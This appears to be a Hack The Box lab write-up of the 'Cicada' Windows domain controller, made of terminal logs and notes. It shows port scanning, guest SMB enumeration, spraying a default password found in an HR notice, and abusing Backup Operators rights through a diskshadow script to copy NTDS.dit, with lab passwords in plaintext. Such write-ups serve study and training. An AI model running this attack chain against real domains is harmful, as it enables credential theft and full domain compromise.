βββ(kaliγΏkali)-[~/HackThebox/platform/machines/Cicada]
ββ$ nmap -F $ip -Pn
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
5985/tcp open wsman
βββ(kaliγΏkali)-[~/HackThebox/platform/machines/Cicada]
ββ$ sudo nmap -sU -p1-10000 --min-rate 10000 $ip -Pn
PORT STATE SERVICE REASON
53/tcp open domain syn-ack
88/tcp open kerberos-sec syn-ack
135/tcp open msrpc syn-ack
139/tcp open netbios-ssn syn-ack
389/tcp open ldap syn-ack
445/tcp open microsoft-ds syn-ack
464/tcp open kpasswd5 syn-ack
593/tcp open http-rpc-epmap syn-ack
636/tcp open ldapssl syn-ack
3268/tcp open globalcatLDAP syn-ack
3269/tcp open globalcatLDAPssl syn-ack
5985/tcp open wsman syn-ack
βββ(kaliγΏkali)-[~/HackThebox/platform/machines/Cicada]
ββ$ sudo nmap -sU -p- --min-rate 10000 -oN Nmap/udp
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
389/udp open ldap
βββ(kaliγΏkali)-[~/HackThebox/platform/machines/Cicada]
ββ$ nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985 -sCV $ip -Pn -oN Nmap/script-scan
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Active Directory LDAP (Domain: cicada.htb0)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Active Directory LDAP (Domain: cicada.htb0)
3268/tcp open ldap Active Directory LDAP (Domain: cicada.htb0)
3269/tcp open ssl/ldap Active Directory LDAP (Domain: cicada.htb0)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
* Open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5985
* UDP open ports: 53,88,123,389
* Services: DNS - KERBEROS - RPC - SMB - winRM - ldap
* Important notes: Domain: cicada.htb - commonName=CICADA-DC.cicada.htb
βββ(kaliγΏkali)-[~/HackThebox/platform/machines/Cicada]
ββ$ rpcclient -U '%' $ip
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> srvinfo
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomgroups
result was NT_STATUS_ACCESS_DENIED
Using smbclient from impacket, I connected to the share and downloaded all the files inside by mget * command
βββ(kaliγΏkali)-[~/HackThebox/platform/machines/Cicada]
ββ$ impacket-smbclient cicada.htb/guest:''@$ip
# shares
ADMIN$
C$
DEV
HR
IPC$
NETLOGON
SYSVOL
# use HR
# mget *
[*] Downloading Notice from HR.txt
# exit
Initial Access
βββ(kaliγΏkali)-[~/HackThebox/platform/machines/Cicada]
ββ$ cat Notice\ from\ HR.txt
Dear new hire!
Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.
Your default password is: Cicada$M6Corpb*@Lp#nZp!8
To change your password:
1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.
5. After changing your password, make sure to save your changes.
Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.
If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.
Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!
Best regards,
Cicada Corp
After reading the file, I got a password that can be sprayed to domain users. Then, I enumerated the domain users by bruting rid (Relative Identifier) technique
βββ(kaliγΏkali)-[~/HackThebox/platform/machines/Cicada]
ββ$ impacket-smbclient cicada.htb/'david.orelious':'aRt$Lp#7t*VQ!3'@$ip
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
Type help for list of commands
# use DEV
# mget *
[*] Downloading Backup_script.ps1
From the file below, It's a backup script file used to backup SMB files using emily credentials
Emily is a member of privileged group Backup Operator, So she can backup files from the DC. In our case, the most interesting files are NTDS, SYSTEM, SAM registry hives
NTDS: The database of the domain controller containing all objects' credentials
SYSTEM: Registry key that contains decryption key
SAM: The database of local system accounts
The principal of this attack is simple as we abuse Backup privileges to create shadow copy of specific file (NTDS.DIT in our case) and extract the domain secrets from it
I created a .vss file containing instruction for diskshadow utility to backup NTDS
more C:\Users\Public\diskshadowscript.txt
set context persistent nowriters
set metadata c:\windows\temp\file.cab
set verbose on
begin backup
add volume c: alias mydrive
create
expose %mydrive% p:
end backup
Then execute the tool with the following command
diskshadow.exe /s C:\programdata\shadow.vss
If you face error when running diskshadow, try to run unix2doscommand to convert the file to windows formatting
ββ[kali@parrot]β[~/HackTheBox/platform/machines/Cicada]
ββββΌ $unix2dos shadow.vss
unix2dos: converting file shadow.vss to DOS format...
Copy the ntds.dit to working directory and download it using evil-winrm